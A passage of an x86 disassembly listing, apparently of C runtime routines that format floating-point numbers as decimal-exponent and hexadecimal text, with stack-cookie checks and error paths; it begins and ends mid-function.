loc_41AAE7:				; CODE XREF: sub_41AAC4+67j
		pop	edi
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	[eax], edi
		call	sub_40D31E
		add	esp, 14h
		cmp	[ebp+var_4], 0
		jz	short loc_41AB04
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_41AB04:				; CODE XREF: sub_41AAC4+37j
		mov	eax, edi
		jmp	loc_41AC2C
; ---------------------------------------------------------------------------

loc_41AB0B:				; CODE XREF: sub_41AAC4+1Aj
		cmp	[ebp+arg_0], esi
		jbe	short loc_41AAE0
		cmp	[ebp+arg_4], esi
		jle	short loc_41AB1A
		mov	eax, [ebp+arg_4]
		jmp	short loc_41AB1C
; ---------------------------------------------------------------------------

loc_41AB1A:				; CODE XREF: sub_41AAC4+4Fj
		xor	eax, eax

loc_41AB1C:				; CODE XREF: sub_41AAC4+54j
		add	eax, 9
		cmp	[ebp+arg_0], eax
		ja	short loc_41AB2D
		call	sub_40FCB4
		push	22h
		jmp	short loc_41AAE7
; ---------------------------------------------------------------------------

loc_41AB2D:				; CODE XREF: sub_41AAC4+5Ej
		cmp	[ebp+arg_10], 0
		jz	short loc_41AB51
		mov	edx, [ebp+arg_C]
		xor	eax, eax
		cmp	[ebp+arg_4], esi
		setnle	al
		xor	ecx, ecx
		cmp	dword ptr [edx], 2Dh
		setz	cl
		mov	edi, eax
		add	ecx, ebx
		mov	eax, ecx
		call	sub_41AA8B

loc_41AB51:				; CODE XREF: sub_41AAC4+6Dj
		mov	edi, [ebp+arg_C]
		cmp	dword ptr [edi], 2Dh
		mov	esi, ebx
		jnz	short loc_41AB61
		mov	byte ptr [ebx],	2Dh
		lea	esi, [ebx+1]

loc_41AB61:				; CODE XREF: sub_41AAC4+95j
		cmp	[ebp+arg_4], 0
		jle	short loc_41AB7F
		lea	eax, [esi+1]
		mov	cl, [eax]
		mov	[esi], cl
		mov	esi, eax
		mov	eax, [ebp+var_10]
		mov	eax, [eax+0BCh]
		mov	eax, [eax]
		mov	al, [eax]
		mov	[esi], al

loc_41AB7F:				; CODE XREF: sub_41AAC4+A1j
		xor	eax, eax
		cmp	[ebp+arg_10], al
		setz	al
		add	eax, [ebp+arg_4]
		add	esi, eax
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jnz	short loc_41AB97
		or	ebx, 0FFFFFFFFh
		jmp	short loc_41AB9C
; ---------------------------------------------------------------------------

loc_41AB97:				; CODE XREF: sub_41AAC4+CCj
		sub	ebx, esi
		add	ebx, [ebp+arg_0]

loc_41AB9C:				; CODE XREF: sub_41AAC4+D1j
		push	offset aE000	; "e+000"
		push	ebx
		push	esi
		call	sub_411E25
		add	esp, 0Ch
		xor	ebx, ebx
		test	eax, eax
		jz	short loc_41ABBE
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40D222
		add	esp, 14h

loc_41ABBE:				; CODE XREF: sub_41AAC4+EBj
		cmp	[ebp+arg_8], ebx
		lea	ecx, [esi+2]
		jz	short loc_41ABC9
		mov	byte ptr [esi],	45h

loc_41ABC9:				; CODE XREF: sub_41AAC4+100j
		mov	eax, [edi+0Ch]
		inc	esi
		cmp	byte ptr [eax],	30h
		jz	short loc_41AC00
		mov	eax, [edi+4]
		dec	eax
		jns	short loc_41ABDD
		neg	eax
		mov	byte ptr [esi],	2Dh

loc_41ABDD:				; CODE XREF: sub_41AAC4+112j
		inc	esi
		cmp	eax, 64h
		jl	short loc_41ABED
		cdq
		push	64h
		pop	edi
		idiv	edi
		add	[esi], al
		mov	eax, edx

loc_41ABED:				; CODE XREF: sub_41AAC4+11Dj
		inc	esi
		cmp	eax, 0Ah
		jl	short loc_41ABFD
		cdq
		push	0Ah
		pop	edi
		idiv	edi
		add	[esi], al
		mov	eax, edx

loc_41ABFD:				; CODE XREF: sub_41AAC4+12Dj
		add	[esi+1], al

loc_41AC00:				; CODE XREF: sub_41AAC4+10Cj
		test	byte_4265C4, 1
		jz	short loc_41AC1D
		cmp	byte ptr [ecx],	30h
		jnz	short loc_41AC1D
		push	3
		lea	eax, [ecx+1]
		push	eax
		push	ecx
		call	sub_411AC0
		add	esp, 0Ch

loc_41AC1D:				; CODE XREF: sub_41AAC4+143j
					; sub_41AAC4+148j
		cmp	[ebp+var_4], 0
		jz	short loc_41AC2A
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_41AC2A:				; CODE XREF: sub_41AAC4+15Dj
		xor	eax, eax

loc_41AC2C:				; CODE XREF: sub_41AAC4+42j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AAC4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AC31	proc near		; CODE XREF: sub_41ACFF+14p
					; sub_41B334+7Cp

var_2C		= dword	ptr -2Ch
var_1C		= byte ptr -1Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		push	16h
		pop	esi
		push	esi
		lea	ecx, [ebp+var_1C]
		push	ecx
		lea	ecx, [ebp+var_2C]
		push	ecx
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		call	sub_41B7E1
		xor	ebx, ebx
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_41AC81

loc_41AC69:				; CODE XREF: sub_41AC31+55j
		call	sub_40FCB4
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	[eax], esi
		call	sub_40D31E
		add	esp, 14h
		mov	eax, esi
		jmp	short loc_41ACF0
; ---------------------------------------------------------------------------

loc_41AC81:				; CODE XREF: sub_41AC31+36j
		mov	eax, [ebp+arg_8]
		cmp	eax, ebx
		jbe	short loc_41AC69
		cmp	eax, 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		jnz	short loc_41AC95
		or	eax, 0FFFFFFFFh
		jmp	short loc_41ACA9
; ---------------------------------------------------------------------------

loc_41AC95:				; CODE XREF: sub_41AC31+5Dj
		xor	ecx, ecx
		cmp	[ebp+var_2C], 2Dh
		setz	cl
		sub	eax, ecx
		xor	ecx, ecx
		cmp	esi, ebx
		setnle	cl
		sub	eax, ecx

loc_41ACA9:				; CODE XREF: sub_41AC31+62j
		lea	ecx, [ebp+var_2C]
		push	ecx
		lea	ecx, [esi+1]
		push	ecx
		push	eax
		xor	eax, eax
		cmp	[ebp+var_2C], 2Dh
		setz	al
		xor	ecx, ecx
		cmp	esi, ebx
		setnle	cl
		add	eax, edi
		add	ecx, eax
		push	ecx
		call	sub_41B669
		add	esp, 10h
		cmp	eax, ebx
		jz	short loc_41ACD7
		mov	[edi], bl
		jmp	short loc_41ACF0
; ---------------------------------------------------------------------------

loc_41ACD7:				; CODE XREF: sub_41AC31+A0j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_2C]
		push	ebx
		push	eax
		push	[ebp+arg_10]
		mov	eax, edi
		push	esi
		push	[ebp+arg_8]
		call	sub_41AAC4
		add	esp, 18h

loc_41ACF0:				; CODE XREF: sub_41AC31+4Ej
					; sub_41AC31+A4j
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AFEE
		leave
		retn
sub_41AC31	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ACFF	proc near		; CODE XREF: sub_41AD1D+BDp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	0
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41AC31
		add	esp, 18h
		pop	ebp
		retn
sub_41ACFF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AD1D	proc near		; CODE XREF: sub_41B334+63p

var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	esi
		push	edi
		push	[ebp+arg_14]
		lea	ecx, [ebp+var_24]
		mov	[ebp+var_14], 3FFh
		xor	edi, edi
		mov	[ebp+var_4], 30h
		call	sub_40AFFD
		cmp	[ebp+arg_C], edi
		jge	short loc_41AD48
		mov	[ebp+arg_C], edi

loc_41AD48:				; CODE XREF: sub_41AD1D+26j
		mov	esi, [ebp+arg_4]
		cmp	esi, edi
		jnz	short loc_41AD7A

loc_41AD4F:				; CODE XREF: sub_41AD1D+60j
		call	sub_40FCB4
		push	16h

loc_41AD56:				; CODE XREF: sub_41AD1D+77j
		pop	esi
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		mov	[eax], esi
		call	sub_40D31E
		add	esp, 14h
		cmp	[ebp+var_18], 0
		jz	short loc_41AD73
		mov	eax, [ebp+var_1C]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_41AD73:				; CODE XREF: sub_41AD1D+4Dj
		mov	eax, esi
		jmp	loc_41B08A
; ---------------------------------------------------------------------------

loc_41AD7A:				; CODE XREF: sub_41AD1D+30j
		cmp	[ebp+arg_8], edi
		jbe	short loc_41AD4F
		mov	eax, [ebp+arg_C]
		add	eax, 0Bh
		cmp	[ebp+arg_8], eax
		mov	byte ptr [esi],	0
		ja	short loc_41AD96
		call	sub_40FCB4
		push	22h
		jmp	short loc_41AD56
; ---------------------------------------------------------------------------

loc_41AD96:				; CODE XREF: sub_41AD1D+6Ej
		mov	edi, [ebp+arg_0]
		mov	eax, [edi]
		mov	[ebp+var_C], eax
		mov	eax, [edi+4]
		mov	ecx, eax
		shr	ecx, 14h
		mov	edx, 7FFh
		push	ebx
		and	ecx, edx
		xor	ebx, ebx
		cmp	ecx, edx
		jnz	loc_41AE48
		test	ebx, ebx
		jnz	loc_41AE48
		mov	eax, [ebp+arg_8]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41ADCC
		or	eax, eax
		jmp	short loc_41ADCF
; ---------------------------------------------------------------------------

loc_41ADCC:				; CODE XREF: sub_41AD1D+A9j
		add	eax, 0FFFFFFFEh

loc_41ADCF:				; CODE XREF: sub_41AD1D+ADj
		push	0
		push	[ebp+arg_C]
		lea	ebx, [esi+2]
		push	eax
		push	ebx
		push	edi
		call	sub_41ACFF
		add	esp, 14h
		test	eax, eax
		jz	short loc_41ADFF
		cmp	[ebp+var_18], 0
		mov	byte ptr [esi],	0
		jz	loc_41B089
		mov	ecx, [ebp+var_1C]
		and	dword ptr [ecx+70h], 0FFFFFFFDh
		jmp	loc_41B089
; ---------------------------------------------------------------------------

loc_41ADFF:				; CODE XREF: sub_41AD1D+C7j
		cmp	byte ptr [ebx],	2Dh
		jnz	short loc_41AE08
		mov	byte ptr [esi],	2Dh
		inc	esi

loc_41AE08:				; CODE XREF: sub_41AD1D+E5j
		mov	byte ptr [esi],	30h
		inc	esi
		cmp	[ebp+arg_10], 0
		push	65h
		setz	al
		dec	al
		and	al, 0E0h
		add	al, 78h
		mov	[esi], al
		inc	esi
		push	esi
		call	sub_41B4F0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_41B07A
		cmp	[ebp+arg_10], 0
		setz	cl
		dec	cl
		and	cl, 0E0h
		add	cl, 70h
		mov	[eax], cl
		mov	byte ptr [eax+3], 0
		jmp	loc_41B07A
; ---------------------------------------------------------------------------

loc_41AE48:				; CODE XREF: sub_41AD1D+95j
					; sub_41AD1D+9Dj
		and	eax, 80000000h
		xor	ecx, ecx
		or	ecx, eax
		jz	short loc_41AE57
		mov	byte ptr [esi],	2Dh
		inc	esi

loc_41AE57:				; CODE XREF: sub_41AD1D+134j
		mov	ebx, [ebp+arg_10]
		mov	byte ptr [esi],	30h
		inc	esi
		test	ebx, ebx
		setz	al
		dec	al
		and	al, 0E0h
		add	al, 78h
		mov	[esi], al
		mov	ecx, [edi+4]
		inc	esi
		neg	ebx
		sbb	ebx, ebx
		and	ebx, 0FFFFFFE0h
		and	ecx, 7FF00000h
		xor	eax, eax
		add	ebx, 27h
		xor	edx, edx
		or	eax, ecx
		jnz	short loc_41AEA8
		mov	byte ptr [esi],	30h
		mov	ecx, [edi+4]
		mov	eax, [edi]
		and	ecx, 0FFFFFh
		inc	esi
		or	eax, ecx
		jnz	short loc_41AE9F
		mov	[ebp+var_14], edx
		jmp	short loc_41AEAC
; ---------------------------------------------------------------------------

loc_41AE9F:				; CODE XREF: sub_41AD1D+17Bj
		mov	[ebp+var_14], 3FEh
		jmp	short loc_41AEAC
; ---------------------------------------------------------------------------

loc_41AEA8:				; CODE XREF: sub_41AD1D+168j
		mov	byte ptr [esi],	31h
		inc	esi

loc_41AEAC:				; CODE XREF: sub_41AD1D+180j
					; sub_41AD1D+189j
		mov	eax, esi
		inc	esi
		cmp	[ebp+arg_C], edx
		mov	[ebp+arg_4], eax
		jnz	short loc_41AEBB
		mov	[eax], dl
		jmp	short loc_41AECA
; ---------------------------------------------------------------------------

loc_41AEBB:				; CODE XREF: sub_41AD1D+198j
		mov	ecx, [ebp+var_24]
		mov	ecx, [ecx+0BCh]
		mov	ecx, [ecx]
		mov	cl, [ecx]
		mov	[eax], cl

loc_41AECA:				; CODE XREF: sub_41AD1D+19Cj
		mov	ecx, [edi+4]
		mov	eax, [edi]
		and	ecx, 0FFFFFh
		mov	[ebp+var_8], ecx
		ja	short loc_41AEE2
		cmp	eax, edx
		jbe	loc_41AF97

loc_41AEE2:				; CODE XREF: sub_41AD1D+1BBj
		mov	[ebp+var_C], edx
		mov	[ebp+var_8], 0F0000h

loc_41AEEC:				; CODE XREF: sub_41AD1D+220j
		cmp	[ebp+arg_C], 0
		jle	short loc_41AF3F
		mov	edx, [edi+4]
		and	edx, [ebp+var_8]
		mov	eax, [edi]
		movsx	ecx, word ptr [ebp+var_4]
		and	eax, [ebp+var_C]
		and	edx, 0FFFFFh
		call	sub_41B950
		add	ax, 30h
		movzx	eax, ax
		cmp	ax, 39h
		jbe	short loc_41AF1B
		add	eax, ebx

loc_41AF1B:				; CODE XREF: sub_41AD1D+1FAj
		mov	ecx, [ebp+var_8]
		sub	[ebp+var_4], 4
		mov	[esi], al
		mov	eax, [ebp+var_C]
		shrd	eax, ecx, 4
		shr	ecx, 4
		inc	esi
		dec	[ebp+arg_C]
		cmp	word ptr [ebp+var_4], 0
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], ecx
		jge	short loc_41AEEC

loc_41AF3F:				; CODE XREF: sub_41AD1D+1D3j
		cmp	word ptr [ebp+var_4], 0
		jl	short loc_41AF97
		mov	edx, [edi+4]
		and	edx, [ebp+var_8]
		mov	eax, [edi]
		movsx	ecx, word ptr [ebp+var_4]
		and	eax, [ebp+var_C]
		and	edx, 0FFFFFh
		call	sub_41B950
		cmp	ax, 8
		jbe	short loc_41AF97
		lea	eax, [esi-1]

loc_41AF69:				; CODE XREF: sub_41AD1D+25Cj
		mov	cl, [eax]
		cmp	cl, 66h
		jz	short loc_41AF75
		cmp	cl, 46h
		jnz	short loc_41AF7B

loc_41AF75:				; CODE XREF: sub_41AD1D+251j
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_41AF69
; ---------------------------------------------------------------------------

loc_41AF7B:				; CODE XREF: sub_41AD1D+256j
		cmp	eax, [ebp+arg_4]
		jz	short loc_41AF94
		mov	cl, [eax]
		cmp	cl, 39h
		jnz	short loc_41AF8E
		add	bl, 3Ah
		mov	[eax], bl
		jmp	short loc_41AF97
; ---------------------------------------------------------------------------

loc_41AF8E:				; CODE XREF: sub_41AD1D+268j
		inc	cl
		mov	[eax], cl
		jmp	short loc_41AF97
; ---------------------------------------------------------------------------

loc_41AF94:				; CODE XREF: sub_41AD1D+261j
		inc	byte ptr [eax-1]

loc_41AF97:				; CODE XREF: sub_41AD1D+1BFj
					; sub_41AD1D+227j ...
		cmp	[ebp+arg_C], 0
		jle	short loc_41AFAE
		push	[ebp+arg_C]
		push	30h
		push	esi
		call	sub_40CBA0
		add	esp, 0Ch
		add	esi, [ebp+arg_C]

loc_41AFAE:				; CODE XREF: sub_41AD1D+27Ej
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_41AFB8
		mov	esi, eax

loc_41AFB8:				; CODE XREF: sub_41AD1D+297j
		cmp	[ebp+arg_10], 0
		mov	cl, 34h
		setz	al
		dec	al
		and	al, 0E0h
		add	al, 70h
		mov	[esi], al
		mov	eax, [edi]
		mov	edx, [edi+4]
		inc	esi
		call	sub_41B950
		xor	ebx, ebx
		and	eax, 7FFh
		and	edx, ebx
		sub	eax, [ebp+var_14]
		push	ebx
		pop	ecx
		sbb	edx, ecx
		js	short loc_41AFF2
		jg	short loc_41AFEC
		cmp	eax, ebx
		jb	short loc_41AFF2

loc_41AFEC:				; CODE XREF: sub_41AD1D+2C9j
		mov	byte ptr [esi],	2Bh
		inc	esi
		jmp	short loc_41AFFC
; ---------------------------------------------------------------------------

loc_41AFF2:				; CODE XREF: sub_41AD1D+2C7j
					; sub_41AD1D+2CDj
		mov	byte ptr [esi],	2Dh
		inc	esi
		neg	eax
		adc	edx, ebx
		neg	edx

loc_41AFFC:				; CODE XREF: sub_41AD1D+2D3j
		cmp	edx, ebx
		mov	edi, esi
		mov	byte ptr [esi],	30h
		jl	short loc_41B029
		mov	ecx, 3E8h
		jg	short loc_41B010
		cmp	eax, ecx
		jb	short loc_41B029

loc_41B010:				; CODE XREF: sub_41AD1D+2EDj
		push	ebx
		push	ecx
		push	edx
		push	eax
		call	sub_41B870
		add	al, 30h
		mov	[esi], al
		inc	esi
		cmp	esi, edi
		mov	[ebp+var_10], edx
		mov	eax, ecx
		mov	edx, ebx
		jnz	short loc_41B034

loc_41B029:				; CODE XREF: sub_41AD1D+2E6j
					; sub_41AD1D+2F1j
		test	edx, edx
		jl	short loc_41B04B
		jg	short loc_41B034
		cmp	eax, 64h
		jb	short loc_41B04B

loc_41B034:				; CODE XREF: sub_41AD1D+30Aj
					; sub_41AD1D+310j
		push	0
		push	64h
		push	edx
		push	eax
		call	sub_41B870
		add	al, 30h
		mov	[esi], al
		mov	[ebp+var_10], edx
		inc	esi
		mov	eax, ecx
		mov	edx, ebx

loc_41B04B:				; CODE XREF: sub_41AD1D+30Ej
					; sub_41AD1D+315j
		cmp	esi, edi
		jnz	short loc_41B05A
		test	edx, edx
		jl	short loc_41B072
		jg	short loc_41B05A
		cmp	eax, 0Ah
		jb	short loc_41B072

loc_41B05A:				; CODE XREF: sub_41AD1D+330j
					; sub_41AD1D+336j
		push	0
		push	0Ah
		push	edx
		push	eax
		call	sub_41B870
		add	al, 30h
		mov	[esi], al
		mov	[ebp+var_10], edx
		inc	esi
		mov	eax, ecx
		mov	[ebp+var_10], ebx

loc_41B072:				; CODE XREF: sub_41AD1D+334j
					; sub_41AD1D+33Bj
		add	al, 30h
		mov	[esi], al
		mov	byte ptr [esi+1], 0

loc_41B07A:				; CODE XREF: sub_41AD1D+10Bj
					; sub_41AD1D+126j
		cmp	[ebp+var_18], 0
		jz	short loc_41B087
		mov	eax, [ebp+var_1C]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_41B087:				; CODE XREF: sub_41AD1D+361j
		xor	eax, eax

loc_41B089:				; CODE XREF: sub_41AD1D+D0j
					; sub_41AD1D+DDj
		pop	ebx

loc_41B08A:				; CODE XREF: sub_41AD1D+58j
		pop	edi
		pop	esi
		leave
		retn
sub_41AD1D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B08E	proc near		; CODE XREF: sub_41B183+A2p
					; sub_41B23C+C3p

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		mov	ebx, eax
		mov	esi, [ebx+4]
		mov	edi, ecx
		lea	ecx, [ebp+var_10]
		dec	esi
		call	sub_40AFFD
		test	edi, edi
		jnz	short loc_41B0DB

loc_41B0AE:				; CODE XREF: sub_41B08E+51j
		call	sub_40FCB4
		push	16h
		pop	esi
		mov	[eax], esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		call	sub_40D31E
		add	esp, 14h
		cmp	[ebp+var_4], 0
		jz	short loc_41B0D4
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_41B0D4:				; CODE XREF: sub_41B08E+3Dj
		mov	eax, esi
		jmp	loc_41B17E
; ---------------------------------------------------------------------------

loc_41B0DB:				; CODE XREF: sub_41B08E+1Ej
		cmp	[ebp+arg_0], 0
		jbe	short loc_41B0AE
		cmp	[ebp+arg_8], 0
		jz	short loc_41B0FF
		cmp	esi, [ebp+arg_4]
		jnz	short loc_41B0FF
		xor	eax, eax
		cmp	dword ptr [ebx], 2Dh
		setz	al
		add	eax, esi
		add	eax, edi
		mov	byte ptr [eax],	30h
		mov	byte ptr [eax+1], 0

loc_41B0FF:				; CODE XREF: sub_41B08E+57j
					; sub_41B08E+5Cj
		cmp	dword ptr [ebx], 2Dh
		mov	esi, edi
		jnz	short loc_41B10C
		mov	byte ptr [edi],	2Dh
		lea	esi, [edi+1]

loc_41B10C:				; CODE XREF: sub_41B08E+76j
		mov	eax, [ebx+4]
		xor	edi, edi
		inc	edi
		test	eax, eax
		jg	short loc_41B123
		mov	eax, esi
		call	sub_41AA8B
		mov	byte ptr [esi],	30h
		inc	esi
		jmp	short loc_41B125
; ---------------------------------------------------------------------------

loc_41B123:				; CODE XREF: sub_41B08E+86j
		add	esi, eax

loc_41B125:				; CODE XREF: sub_41B08E+93j
		cmp	[ebp+arg_4], 0
		jle	short loc_41B16F
		mov	eax, esi
		call	sub_41AA8B
		mov	eax, [ebp+var_10]
		mov	eax, [eax+0BCh]
		mov	eax, [eax]
		mov	al, [eax]
		mov	[esi], al
		mov	ebx, [ebx+4]
		inc	esi
		test	ebx, ebx
		jge	short loc_41B16F
		neg	ebx
		cmp	[ebp+arg_8], 0
		jnz	short loc_41B156
		cmp	[ebp+arg_4], ebx
		jl	short loc_41B159

loc_41B156:				; CODE XREF: sub_41B08E+C1j
		mov	[ebp+arg_4], ebx

loc_41B159:				; CODE XREF: sub_41B08E+C6j
		mov	edi, [ebp+arg_4]
		mov	eax, esi
		call	sub_41AA8B
		push	edi
		push	30h
		push	esi
		call	sub_40CBA0
		add	esp, 0Ch

loc_41B16F:				; CODE XREF: sub_41B08E+9Bj
					; sub_41B08E+B9j
		cmp	[ebp+var_4], 0
		jz	short loc_41B17C
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_41B17C:				; CODE XREF: sub_41B08E+E5j
		xor	eax, eax

loc_41B17E:				; CODE XREF: sub_41B08E+48j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B08E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B183	proc near		; CODE XREF: sub_41B334+24p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_1C		= byte ptr -1Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		push	16h
		pop	esi
		push	esi
		lea	ecx, [ebp+var_1C]
		push	ecx
		lea	ecx, [ebp+var_2C]
		push	ecx
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		call	sub_41B7E1
		xor	ebx, ebx
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_41B1D3

loc_41B1BB:				; CODE XREF: sub_41B183+55j
		call	sub_40FCB4
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	[eax], esi
		call	sub_40D31E
		add	esp, 14h
		mov	eax, esi
		jmp	short loc_41B22D
; ---------------------------------------------------------------------------

loc_41B1D3:				; CODE XREF: sub_41B183+36j
		mov	eax, [ebp+arg_8]
		cmp	eax, ebx
		jbe	short loc_41B1BB
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41B1E3
		or	eax, eax
		jmp	short loc_41B1EE
; ---------------------------------------------------------------------------

loc_41B1E3:				; CODE XREF: sub_41B183+5Aj
		xor	ecx, ecx
		cmp	[ebp+var_2C], 2Dh
		setz	cl
		sub	eax, ecx

loc_41B1EE:				; CODE XREF: sub_41B183+5Ej
		mov	esi, [ebp+arg_C]
		lea	ecx, [ebp+var_2C]
		push	ecx
		mov	ecx, [ebp+var_28]
		add	ecx, esi
		push	ecx
		push	eax
		xor	eax, eax
		cmp	[ebp+var_2C], 2Dh
		setz	al
		add	eax, edi
		push	eax
		call	sub_41B669
		add	esp, 10h
		cmp	eax, ebx
		jz	short loc_41B218
		mov	[edi], bl
		jmp	short loc_41B22D
; ---------------------------------------------------------------------------

loc_41B218:				; CODE XREF: sub_41B183+8Fj
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C]
		push	ebx
		push	esi
		push	[ebp+arg_8]
		mov	ecx, edi
		call	sub_41B08E
		add	esp, 10h

loc_41B22D:				; CODE XREF: sub_41B183+4Ej
					; sub_41B183+93j
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AFEE
		leave
		retn
sub_41B183	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B23C	proc near		; CODE XREF: sub_41B334+4Ap

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	16h
		pop	edi
		push	edi
		lea	ecx, [ebp+var_1C]
		push	ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		call	sub_41B7E1
		xor	ebx, ebx
		add	esp, 14h
		cmp	esi, ebx
		jnz	short loc_41B28F

loc_41B274:				; CODE XREF: sub_41B23C+58j
		call	sub_40FCB4
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	[eax], edi
		call	sub_40D31E
		add	esp, 14h
		mov	eax, edi
		jmp	loc_41B325
; ---------------------------------------------------------------------------

loc_41B28F:				; CODE XREF: sub_41B23C+36j
		mov	ecx, [ebp+arg_8]
		cmp	ecx, ebx
		jbe	short loc_41B274
		mov	eax, [ebp+var_2C]
		dec	eax
		mov	[ebp+var_20], eax
		xor	eax, eax
		cmp	[ebp+var_30], 2Dh
		setz	al
		cmp	ecx, 0FFFFFFFFh
		lea	edi, [eax+esi]
		jnz	short loc_41B2B2
		or	ecx, ecx
		jmp	short loc_41B2B4
; ---------------------------------------------------------------------------

loc_41B2B2:				; CODE XREF: sub_41B23C+70j
		sub	ecx, eax

loc_41B2B4:				; CODE XREF: sub_41B23C+74j
		lea	eax, [ebp+var_30]
		push	eax
		push	[ebp+arg_C]
		push	ecx
		push	edi
		call	sub_41B669
		add	esp, 10h
		cmp	eax, ebx
		jz	short loc_41B2CD
		mov	[esi], bl
		jmp	short loc_41B325
; ---------------------------------------------------------------------------

loc_41B2CD:				; CODE XREF: sub_41B23C+8Bj
		mov	eax, [ebp+var_2C]
		dec	eax
		cmp	[ebp+var_20], eax
		setl	cl
		cmp	eax, 0FFFFFFFCh
		jl	short loc_41B309
		cmp	eax, [ebp+arg_C]
		jge	short loc_41B309
		cmp	cl, bl
		jz	short loc_41B2EF

loc_41B2E5:				; CODE XREF: sub_41B23C+AEj
		mov	al, [edi]
		inc	edi
		test	al, al
		jnz	short loc_41B2E5
		mov	[edi-2], bl

loc_41B2EF:				; CODE XREF: sub_41B23C+A7j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_30]
		push	1
		push	[ebp+arg_C]
		mov	ecx, esi
		push	[ebp+arg_8]
		call	sub_41B08E
		add	esp, 10h
		jmp	short loc_41B325
; ---------------------------------------------------------------------------

loc_41B309:				; CODE XREF: sub_41B23C+9Ej
					; sub_41B23C+A3j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_30]
		push	1
		push	eax
		push	[ebp+arg_10]
		mov	eax, esi
